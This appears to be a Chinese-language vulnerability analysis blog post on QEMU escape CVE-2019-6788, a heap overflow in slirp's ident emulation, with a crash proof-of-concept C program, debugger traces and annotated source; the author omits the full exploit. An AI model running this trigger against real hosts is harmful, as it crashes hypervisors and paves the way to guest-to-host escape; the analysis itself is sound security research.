今天仔细把QEMU逃逸漏洞CVE-2019-6788的细节描述一下
搭建环境不多说了,大家可以参考《qemu-pwn cve-2019-6788堆溢出漏洞分析》
- https://ray-cp.github.io/archivers/qemu-pwn-cve-2019-6788%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
使用GDB调试启动QEMU虚拟机
file ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
run -kernel ./Kernel/linux-5.2.11/arch/x86/boot/bzImage -append "console=ttyS0 root=/dev/sda rw" -hda ./rootfs.img -m 2G -nographic -L ./pc-bios -smp 1 -net user,hostfwd=tcp::6788-:22 -net nic
Poc如下
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];
s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}
在宿主机编译
wnagzihxa1n@Qemu:~/CVE-2019-6788/qemu-vm-escape$ gcc -o crash_poc crash_poc.c
将Poc传递到QEMU有很多种方法,我这里使用最简单的一种,宿主机开启一个Web服务
wnagzihxa1n@Qemu:~/CVE-2019-6788/qemu-vm-escape$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
然后QEMU虚拟机wget
获取即可
root@ubuntu:~# wget 10.0.2.2:8000/crash_poc
--2020-04-02 03:44:21-- http://10.0.2.2:8000/crash_poc
Connecting to 10.0.2.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8872 (8.7K) [application/octet-stream]
Saving to: 'crash_poc'
crash_poc 100%[===================>] 8.66K --.-KB/s in 0.004s
2020-04-02 03:44:21 (2.00 MB/s) - 'crash_poc' saved [8872/8872]
root@ubuntu:~# chmod 777 crash_poc
Web服务监控到文件传输
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [02/Apr/2020 11:44:21] "GET /crash_poc HTTP/1.1" 200 -
此时QEMU虚拟机环境已经准备好,我们在宿主机开启端口监听
wnagzihxa1n@Qemu:~/CVE-2019-6788$ sudo nc -lvnp 113
[sudo] password for wnagzihxa1n:
Listening on [0.0.0.0] (family 0, port 113)
执行Poc,宿主机成功收到数据
Listening on [0.0.0.0] (family 0, port 113)
Connection from [127.0.0.1] port 113 [tcp/*] accepted (family 2, sport 45840)
同时可以捕获到崩溃
如果使用断点,断点现场如下
file ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64
b tcp_emu
run -kernel ./Kernel/linux-5.2.11/arch/x86/boot/bzImage -append "console=ttyS0 root=/dev/sda rw" -hda ./rootfs.img -m 2G -nographic -L ./pc-bios -smp 1 -net user,hostfwd=tcp::6788-:22 -net nic
调用栈
► f 0 555555c14552 tcp_emu+28
f 1 555555c10a2f tcp_input+3186
f 2 555555c077e5 ip_input+710
f 3 555555c0ac85 slirp_input+412
f 4 555555bf2f80 net_slirp_receive+83
f 5 555555be8a36 nc_sendv_compat+254
f 6 555555be8af8 qemu_deliver_packet_iov+172
f 7 555555beb5d5 qemu_net_queue_deliver_iov+80
f 8 555555beb744 qemu_net_queue_send_iov+134
f 9 555555be8c3d qemu_sendv_packet_async+289
f 10 555555be8c6a qemu_sendv_packet+43
根据大佬们的文章,在函数tcp_emu()
下断点,我们来看断点现场
root@ubuntu:~# ./crash_poc
[Switching to Thread 0x7fffd5480700 (LWP 6110)]
Thread 4 "qemu-system-x86" hit Breakpoint 1, tcp_emu (so=0x7fffd29be200, m=0x5555579f1d00) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c:612
612 {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x7fffd29be200 —▸ 0x555556830220 —▸ 0x55555682e170 ◂— 0x7fffd29be200
RBX 0x7fffd2a10110 ◂— 0x7fffd2a10110
RCX 0x2238
RDX 0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 —▸ 0x55555682e068 ◂— ...
RDI 0x7fffd29be200 —▸ 0x555556830220 —▸ 0x55555682e170 ◂— 0x7fffd29be200
RSI 0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 —▸ 0x55555682e068 ◂— ...
R8 0x5555579f1d7e ◂— 0x6000202
R9 0x0
R10 0x5555579f1d7e ◂— 0x6000202
R11 0x2
R12 0x5555579f1d70 ◂— 0x0
R13 0x18
R14 0x55555684c6d0 ◂— 0xffffb20740523818
R15 0x0
RBP 0x7fffd547e950 —▸ 0x7fffd547eba0 —▸ 0x7fffd547ebf0 —▸ 0x7fffd547ec30 —▸ 0x7fffd547ec80 ◂— ...
RSP 0x7fffd547e7c0 —▸ 0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 ◂— ...
RIP 0x555555c14552 (tcp_emu+28) ◂— mov rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
► 0x555555c14552 <tcp_emu+28> mov rax, qword ptr fs:[0x28]
0x555555c1455b <tcp_emu+37> mov qword ptr [rbp - 0x18], rax
0x555555c1455f <tcp_emu+41> xor eax, eax
0x555555c14561 <tcp_emu+43> mov rax, qword ptr [rbp - 0x188]
0x555555c14568 <tcp_emu+50> mov rax, qword ptr [rax + 0x18]
0x555555c1456c <tcp_emu+54> mov qword ptr [rbp - 0x140], rax
0x555555c14573 <tcp_emu+61> mov rax, qword ptr [rbp - 0x188]
0x555555c1457a <tcp_emu+68> movzx eax, byte ptr [rax + 0x139]
0x555555c14581 <tcp_emu+75> movzx eax, al
0x555555c14584 <tcp_emu+78> cmp eax, 7
0x555555c14587 <tcp_emu+81> ja tcp_emu+4533 <0x555555c156eb>
──────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
607 *
608 * NOTE: if you return 0 you MUST m_free() the mbuf!
609 */
610 int
611 tcp_emu(struct socket *so, struct mbuf *m)
► 612 {
613 Slirp *slirp = so->slirp;
614 u_int n1, n2, n3, n4, n5, n6;
615 char buff[257];
616 uint32_t laddr;
617 u_int lport;
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffd547e7c0 —▸ 0x5555579f1d00 —▸ 0x5555579ff000 —▸ 0x7fffd24b5200 —▸ 0x7fffd23cbbd0 ◂— ...
01:0008│ 0x7fffd547e7c8 —▸ 0x7fffd29be200 —▸ 0x555556830220 —▸ 0x55555682e170 ◂— 0x7fffd29be200
02:0010│ 0x7fffd547e7d0 —▸ 0x7fffd547e9f0 —▸ 0x7fffd547ea60 ◂— 0xf02000afccf0002
03:0018│ 0x7fffd547e7d8 ◂— 0x1
04:0020│ 0x7fffd547e7e0 —▸ 0x555556829990 —▸ 0x5555566deb40 (net_hub_port_info) ◂— 0x8
05:0028│ 0x7fffd547e7e8 —▸ 0x5555576ac4e0 —▸ 0x5555576ac360 —▸ 0x555556651ec0 (net_e1000_info) ◂— 0x1
06:0030│ 0x7fffd547e7f0 ◂— 0x4620000a312e312e /* '.1.1\n' */
07:0038│ 0x7fffd547e7f8 ◂— 0x40 /* '@' */
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
► f 0 555555c14552 tcp_emu+28
f 1 555555c10a2f tcp_input+3186
f 2 555555c077e5 ip_input+710
f 3 555555c0ac85 slirp_input+412
f 4 555555bf2f80 net_slirp_receive+83
f 5 555555be8a36 nc_sendv_compat+254
f 6 555555be8af8 qemu_deliver_packet_iov+172
f 7 555555beb5d5 qemu_net_queue_deliver_iov+80
f 8 555555beb744 qemu_net_queue_send_iov+134
f 9 555555be8c3d qemu_sendv_packet_async+289
f 10 555555be8c6a qemu_sendv_packet+43
对应的函数如下,我简单做了一些改动,但是函数逻辑没变化
int tcp_emu(struct socket *so, struct mbuf *m)
{
Slirp *slirp = so->slirp;
u_int n1, n2, n3, n4, n5, n6;
switch(so->so_emu) {
int x, i;
case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/
{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
tmpso->so_lport == n2 &&
tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s,
(struct sockaddr *)&addr, &addrlen) == 0)
n2 = ntohs(addr.sin_port);
break;
}
}
}
so_rcv->sb_cc = snprintf(so_rcv->sb_data, so_rcv->sb_datalen, "%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}
case EMU_FTP: /* ftp */
...
case EMU_IRC:
...
case EMU_REALAUDIO:
...
default:
/* Ooops, not emulated, won't call tcp_emu again */
so->so_emu = 0;
return 1;
}
}
此时函数执行到入口,查看两个参数,第一个参数是结构体struct socket *so
pwndbg> print *so
$3 = {
so_next = 0x555556830220,
so_prev = 0x55555682e170,
s = 15,
pollfds_idx = 0,
slirp = 0x55555682dfc0,
so_m = 0x0,
so_ti = 0x5555579f1d70,
so_urgc = 0,
fhost = {
...
},
lhost = {
...
},
so_iptos = 16 '\020',
so_emu = 7 '\a',
so_type = 0 '\000',
so_state = 4,
so_tcpcb = 0x7fffd2a10110,
so_expire = 0,
so_queued = 0,
so_nqueued = 0,
so_rcv = {
sb_cc = 0,
sb_datalen = 8760,
sb_wptr = 0x7fffd2d29cc0 "H\b",
sb_rptr = 0x7fffd2d29cc0 "H\b",
sb_data = 0x7fffd2d29cc0 "H\b"
},
so_snd = {
sb_cc = 0,
sb_datalen = 8760,
sb_wptr = 0x7fffd2d27a80 "H\b",
sb_rptr = 0x7fffd2d27a80 "H\b",
sb_data = 0x7fffd2d27a80 "H\b"
},
extra = 0x0
}
可以看到第二个参数mbuf *m
的数据就是传入的一大堆A
pwndbg> print *m
$4 = {
m_next = 0x5555579ff000,
m_prev = 0x55555682e068,
m_nextpkt = 0x0,
m_prevpkt = 0x0,
m_flags = 4,
m_size = 1544,
m_so = 0x7fffd29be200,
m_data = 0x5555579f1db4 'A' <repeats 200 times>...,
m_len = 1280,
slirp = 0x55555682dfc0,
resolution_requested = false,
expiration_date = 18446744073709551615,
m_ext = 0x0,
m_dat = 0x5555579f1d60 ""
}
有了入口数据,我们来跟一遍代码,最后会发现,先拷贝了数据,当m->m_data
里不存在\r
和\n
的时候,就不更新so_rcv->sb_cc
,这一点很重要
{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
// 获取so->so_rcv结构体,sbuf这个结构体用于保存来自TCP层的数据
struct sbuf *so_rcv = &so->so_rcv;
// 将m->m_data数据写入so_rcv->sb_wptr,m对应的结构体是mbuf,用于保存来自IP层的数据
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
// 移动读写指针
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
// 末尾置空截断
m->m_data[m->m_len] = 0; /* NULL terminate */
// 漏洞出现在这里
// 使用`strchr()`搜索,当m->m_data里不存在`\r`和`\n`的时候,返回NULL,就不会进入这个if
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
tmpso->so_lport == n2 &&
tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s, (struct sockaddr *)&addr, &addrlen) == 0)
n2 = ntohs(addr.sin_port);
break;
}
}
}
// so_rcv->sb_cc的值只有这里会更新
so_rcv->sb_cc = snprintf(so_rcv->sb_data, so_rcv->sb_datalen, "%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}
查看结构体sbuf
的定义可知,so_rcv->sb_cc
就是缓冲区中的字符数量
struct sbuf {
uint32_t sb_cc; /* actual chars in buffer */
uint32_t sb_datalen; /* Length of data */
char *sb_wptr; /* write pointer. points to where the next
* bytes should be written in the sbuf */
char *sb_rptr; /* read pointer. points to where the next
* byte should be read from the sbuf */
char *sb_data; /* Actual data */
};
我们来看调用tcp_emu()
的tcp_input()
} else if (ti->ti_ack == tp->snd_una && tcpfrag_list_empty(tp) && ti->ti_len <= sbspace(&so->so_rcv)) {
/*
* this is a pure, in-sequence data packet
* with nothing on the reassembly queue and
* we have enough buffer space to take it.
*/
tp->rcv_nxt += ti->ti_len;
/*
* Add data to socket buffer.
* 把数据添加到缓冲区
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
} else
sbappend(so, m);
第三个判断是长度,我们来看sbspace()
的定义,结合这个定义可以理解这里是在说IP包的长度要小于缓冲区剩余空间
#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
静态分析就是这么个情况,我们来动态跑一下
拷贝前先看so_rcv
的数据
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
633 struct socket *tmpso;
634 struct sockaddr_in addr;
635 socklen_t addrlen = sizeof(struct sockaddr_in);
636 struct sbuf *so_rcv = &so->so_rcv;
637
► 638 memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
639 so_rcv->sb_wptr += m->m_len;
640 so_rcv->sb_rptr += m->m_len;
641 m->m_data[m->m_len] = 0; /* NULL terminate */
642 if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
643 if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
pwndbg> print *so_rcv
$6 = {
sb_cc = 0,
sb_datalen = 8760,
sb_wptr = 0x7fffd2d29cc0 "H\b",
sb_rptr = 0x7fffd2d29cc0 "H\b",
sb_data = 0x7fffd2d29cc0 "H\b"
}
pwndbg> x/16gx 0x7fffd2d29cc0
0x7fffd2d29cc0: 0x00007fffd0000848 0x00007fffd3bdaff0
0x7fffd2d29cd0: 0x00007fffd3bdaff0 0x00007fffd3bdaff0
0x7fffd2d29ce0: 0x0000000000000000 0x0000000000000000
0x7fffd2d29cf0: 0x0000000000000000 0x0000000000000000
0x7fffd2d29d00: 0x0000000000000000 0x0000000000000000
0x7fffd2d29d10: 0x0000000000000000 0x0000000000000000
0x7fffd2d29d20: 0x0000000000000000 0x0000000000000000
0x7fffd2d29d30: 0x0000000000000000 0x0000000000000000
拷贝完成之后,已经可以看到数据写入了
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
634 struct sockaddr_in addr;
635 socklen_t addrlen = sizeof(struct sockaddr_in);
636 struct sbuf *so_rcv = &so->so_rcv;
637
638 memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
► 639 so_rcv->sb_wptr += m->m_len;
640 so_rcv->sb_rptr += m->m_len;
641 m->m_data[m->m_len] = 0; /* NULL terminate */
642 if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
643 if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
644 HTONS(n1);
pwndbg> print *so_rcv
$7 = {
sb_cc = 0,
sb_datalen = 8760,
sb_wptr = 0x7fffd2d29cc0 'A' <repeats 200 times>...,
sb_rptr = 0x7fffd2d29cc0 'A' <repeats 200 times>...,
sb_data = 0x7fffd2d29cc0 'A' <repeats 200 times>...
}
pwndbg> x/16gx 0x7fffd2d29cc0
0x7fffd2d29cc0: 0x4141414141414141 0x4141414141414141
0x7fffd2d29cd0: 0x4141414141414141 0x4141414141414141
0x7fffd2d29ce0: 0x4141414141414141 0x4141414141414141
0x7fffd2d29cf0: 0x4141414141414141 0x4141414141414141
0x7fffd2d29d00: 0x4141414141414141 0x4141414141414141
0x7fffd2d29d10: 0x4141414141414141 0x4141414141414141
0x7fffd2d29d20: 0x4141414141414141 0x4141414141414141
0x7fffd2d29d30: 0x4141414141414141 0x4141414141414141
后面就是没有\r
和\n
,进不了if去修改so_rcv->sb_cc
,单步一下毫无悬念的被跳过了
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
662 so_rcv->sb_datalen,
663 "%d,%d\r\n", n1, n2);
664 so_rcv->sb_rptr = so_rcv->sb_data;
665 so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
666 }
► 667 m_free(m);
668 return 0;
669 }
670
671 case EMU_FTP: /* ftp */
672 *(m->m_data+m->m_len) = 0; /* NUL terminate for strstr */
离开tcp_emu()
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
937 default:
938 /* Ooops, not emulated, won't call tcp_emu again */
939 so->so_emu = 0;
940 return 1;
941 }
► 942 }
943
944 /*
945 * Do misc. config of SLiRP while its running.
946 * Return 0 if this connections is to be closed, 1 otherwise,
947 * return 2 if this is a command-line connection
回到tcp_input()
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_input.c
578 * he gets an ACK.
579 *
580 * It is better to not delay acks at all to maximize
581 * TCP throughput. See RFC 2581.
582 */
► 583 tp->t_flags |= TF_ACKNOW;
584 tcp_output(tp);
585 return;
586 }
587 } /* header prediction */
588 /*
函数tcp_input()
挺大的,我们看关键的判断点,因为so_rcv->sb_cc
没有被更新,所以可以继续写入数据
} else if (ti->ti_ack == tp->snd_una
&& tcpfrag_list_empty(tp)
&& ti->ti_len <= sbspace(&so->so_rcv)) {
我们的Poc是循环发送数据,刚才走完了第一轮,接下来进行第二轮
In file: /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c
607 *
608 * NOTE: if you return 0 you MUST m_free() the mbuf!
609 */
610 int
611 tcp_emu(struct socket *so, struct mbuf *m)
► 612 {
613 Slirp *slirp = so->slirp;
614 u_int n1, n2, n3, n4, n5, n6;
615 char buff[257];
616 uint32_t laddr;
617 u_int lport;
我们来看so->so_rcv
,此时的sb_wptr
和sb_rptr
已经指向的是添加了第一轮数据之后的位置,但是sb_cc
却没有更新,那么如果我们一直发数据,就会一直写,并且等于没有长度校验,最终就会溢出
pwndbg> print so->so_rcv
$9 = {
sb_cc = 0,
sb_datalen = 8760,
sb_wptr = 0x7fffd2d2a1c0 "",
sb_rptr = 0x7fffd2d2a1c0 "",
sb_data = 0x7fffd2d29cc0 'A' <repeats 200 times>...
}
利用过程不贴了
我觉得最关键的不是上面这些分析,常规的分析到这里一般也就结束了,最多再放一个帅气的计算器
但是我额外思考了一些东西:Debian在运行Poc的时候,通过与虚拟网卡交互发送数据到宿主机这个过程,内部的细节是怎样的?
我昨晚到现在看了不少关于这部分的资料,各类资料都比较乱,这里简单列一下
《QEMU虚拟网络E1000源代码分析》
- http://oenhan.com/qemu-virtual-network-e1000
《qemu网络虚拟化之数据流向分析一》
- https://www.cnblogs.com/ck1020/p/5910378.html
《qemu网络虚拟化之数据流向分析二》
- https://www.cnblogs.com/ck1020/p/5913906.html
《qemu网络虚拟化之数据流向分析三》
- https://www.cnblogs.com/ck1020/p/5914232.html
《虚拟网卡 TUN/TAP 驱动程序设计原理》
- https://www.ibm.com/developerworks/cn/linux/l-tuntap/
《TUN/TAP设备浅析(一) – 原理浅析》
- https://www.jianshu.com/p/09f9375b7fa7
这些资料有兴趣的同学可以看看,我也没有掌握的多深入,就不在这里瞎写了
如同大佬所说,其安全性值得研究,对于我来说,在研究它的安全性之前,先多看看这些分析QEMU内部原理的文章理解流程
带着疑问,继续深入研究一下细节,以下的记录不一定对,大家酌情阅读,如果有大佬发现错误,还请不吝赐教
在函数tcp_emu()
断下后,打印出整个调用栈
pwndbg> bt
#0 tcp_emu (so=0x7fffd289e850, m=0x7fffd2527000) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_subr.c:612
#1 0x0000555555c10a2f in tcp_input (m=0x7fffd2527000, iphlen=20, inso=0x0, af=2) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/tcp_input.c:571
#2 0x0000555555c077e5 in ip_input (m=0x7fffd2527000) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/ip_input.c:206
#3 0x0000555555c0ac85 in slirp_input (slirp=0x55555682dfc0, pkt=0x7fffd4a7fcc0 "RU\n", pkt_len=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/slirp/slirp.c:876
#4 0x0000555555bf2f80 in net_slirp_receive (nc=0x555556829c70, buf=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/slirp.c:113
#5 0x0000555555be8a36 in nc_sendv_compat (nc=0x555556829c70, iov=0x7fffd547ef40, iovcnt=1, flags=0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:706
#6 0x0000555555be8af8 in qemu_deliver_packet_iov (sender=0x555556829630, flags=0, iov=0x7fffd547ef40, iovcnt=1, opaque=0x555556829c70) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:734
#7 0x0000555555beb5d5 in qemu_net_queue_deliver_iov (queue=0x555556829e60, sender=0x555556829630, flags=0, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:179
#8 0x0000555555beb744 in qemu_net_queue_send_iov (queue=0x555556829e60, sender=0x555556829630, flags=0, iov=0x7fffd547ef40, iovcnt=1, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:224
#9 0x0000555555be8c3d in qemu_sendv_packet_async (sender=0x555556829630, iov=0x7fffd547ef40, iovcnt=1, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:775
#10 0x0000555555be8c6a in qemu_sendv_packet (nc=0x555556829630, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:783
#11 0x0000555555bec16b in net_hub_receive_iov (hub=0x555556829410, source_port=0x555556829990, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/hub.c:74
#12 0x0000555555bec365 in net_hub_port_receive_iov (nc=0x555556829990, iov=0x7fffd547ef40, iovcnt=1) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/hub.c:125
#13 0x0000555555be8add in qemu_deliver_packet_iov (sender=0x5555576ac360, flags=0, iov=0x7fffd547ef40, iovcnt=1, opaque=0x555556829990) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:732
#14 0x0000555555beb559 in qemu_net_queue_deliver (queue=0x555556829b30, sender=0x5555576ac360, flags=0, data=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:164
#15 0x0000555555beb675 in qemu_net_queue_send (queue=0x555556829b30, sender=0x5555576ac360, flags=0, data=0x7fffd4a7fcc0 "RU\n", size=1334, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/queue.c:19
#16 0x0000555555be889d in qemu_send_packet_async_with_flags (sender=0x5555576ac360, flags=0, buf=0x7fffd4a7fcc0 "RU\n", size=1334, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:660
#17 0x0000555555be88d5 in qemu_send_packet_async (sender=0x5555576ac360, buf=0x7fffd4a7fcc0 "RU\n", size=1334, sent_cb=0x0) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:667
#18 0x0000555555be8902 in qemu_send_packet (nc=0x5555576ac360, buf=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/net/net.c:673
#19 0x0000555555adf75f in e1000_send_packet (s=0x7fffd4a5d010, buf=0x7fffd4a7fcc0 "RU\n", size=1334) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:538
#20 0x0000555555adfbc9 in xmit_seg (s=0x7fffd4a5d010) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:601
#21 0x0000555555ae00f8 in process_tx_desc (s=0x7fffd4a5d010, dp=0x7fffd547f180) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:688
#22 0x0000555555ae02f0 in start_xmit (s=0x7fffd4a5d010) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:743
#23 0x0000555555ae1388 in set_tctl (s=0x7fffd4a5d010, index=3590, val=26) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:1111
#24 0x0000555555ae1505 in e1000_mmio_write (opaque=0x7fffd4a5d010, addr=14360, val=26, size=4) at /home/wnagzihxa1n/CVE-2019-6788/qemu/hw/net/e1000.c:1287
#25 0x0000555555860c39 in memory_region_write_accessor (mr=0x7fffd4a5f910, addr=14360, value=0x7fffd547f2e8, size=4, shift=0, mask=4294967295, attrs=...) at /home/wnagzihxa1n/CVE-2019-6788/qemu/memory.c:504
#26 0x0000555555860e4c in access_with_adjusted_size (addr=14360, value=0x7fffd547f2e8, size=4, access_size_min=4, access_size_max=4, access_fn=0x555555860b50 <memory_region_write_accessor>, mr=0x7fffd4a5f910
#27 0x0000555555863a9b in memory_region_dispatch_write (mr=0x7fffd4a5f910, addr=14360, data=26, size=4, attrs=...) at /home/wnagzihxa1n/CVE-2019-6788/qemu/memory.c:1452
#28 0x0000555555883fc0 in io_writex (env=0x55555684c6d0, iotlbentry=0x5555568563a0, mmu_idx=2, val=26, addr=18446649392234641432, retaddr=140736821593602, recheck=false, size=4) at /home/wnagzihxa1n/CVE-2015
#29 0x0000555555886016 in io_writel (env=0x55555684c6d0, mmu_idx=2, index=35, val=26, addr=18446649392234641432, retaddr=140736821593602, recheck=false) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/sof3
#30 0x00005555558861d7 in helper_le_stl_mmu (env=0x55555684c6d0, addr=18446649392234641432, val=26, oi=34, retaddr=140736821593602) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/softmmu_template.h:310
#31 0x00007fffd8420602 in code_gen_buffer ()
#32 0x00005555558a13f1 in cpu_tb_exec (cpu=0x555556844420, itb=0x7fffd841fb00 <code_gen_buffer+41540307>) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/cpu-exec.c:171
#33 0x00005555558a22be in cpu_loop_exec_tb (cpu=0x555556844420, tb=0x7fffd841fb00 <code_gen_buffer+41540307>, last_tb=0x7fffd547fa18, tb_exit=0x7fffd547fa10) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tc5
#34 0x00005555558a25ba in cpu_exec (cpu=0x555556844420) at /home/wnagzihxa1n/CVE-2019-6788/qemu/accel/tcg/cpu-exec.c:725
#35 0x0000555555845fd2 in tcg_cpu_exec (cpu=0x555556844420) at /home/wnagzihxa1n/CVE-2019-6788/qemu/cpus.c:1429
#36 0x00005555558467ea in qemu_tcg_cpu_thread_fn (arg=0x555556844420) at /home/wnagzihxa1n/CVE-2019-6788/qemu/cpus.c:1733
#37 0x0000555555d7a1a2 in qemu_thread_start (args=0x555556866840) at /home/wnagzihxa1n/CVE-2019-6788/qemu/util/qemu-thread-posix.c:498
#38 0x00007ffff6ac46ba in start_thread (arg=0x7fffd5480700) at pthread_create.c:333
#39 0x00007ffff67fa41d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
这个函数对应着write()
static void
e1000_mmio_write(void *opaque, hwaddr addr, uint64_t val,
unsigned size)
{
E1000State *s = opaque;
unsigned int index = (addr & 0x1ffff) >> 2;
if (index < NWRITEOPS && macreg_writeops[index]) {
if (!(mac_reg_access[index] & MAC_ACCESS_FLAG_NEEDED)
|| (s->compat_flags & (mac_reg_access[index] >> 2))) {
if (mac_reg_access[index] & MAC_ACCESS_PARTIAL) {
DBGOUT(GENERAL, "Writing to register at offset: 0x%08x. "
"It is not fully implemented.\n", index<<2);
}
macreg_writeops[index](s, index, val);
} else { /* "flag needed" bit is set, but the flag is not active */
DBGOUT(MMIO, "MMIO write attempt to disabled reg. addr=0x%08x\n",
index<<2);
}
} else if (index < NREADOPS && macreg_readops[index]) {
DBGOUT(MMIO, "e1000_mmio_writel RO %x: 0x%04"PRIx64"\n",
index<<2, val);
} else {
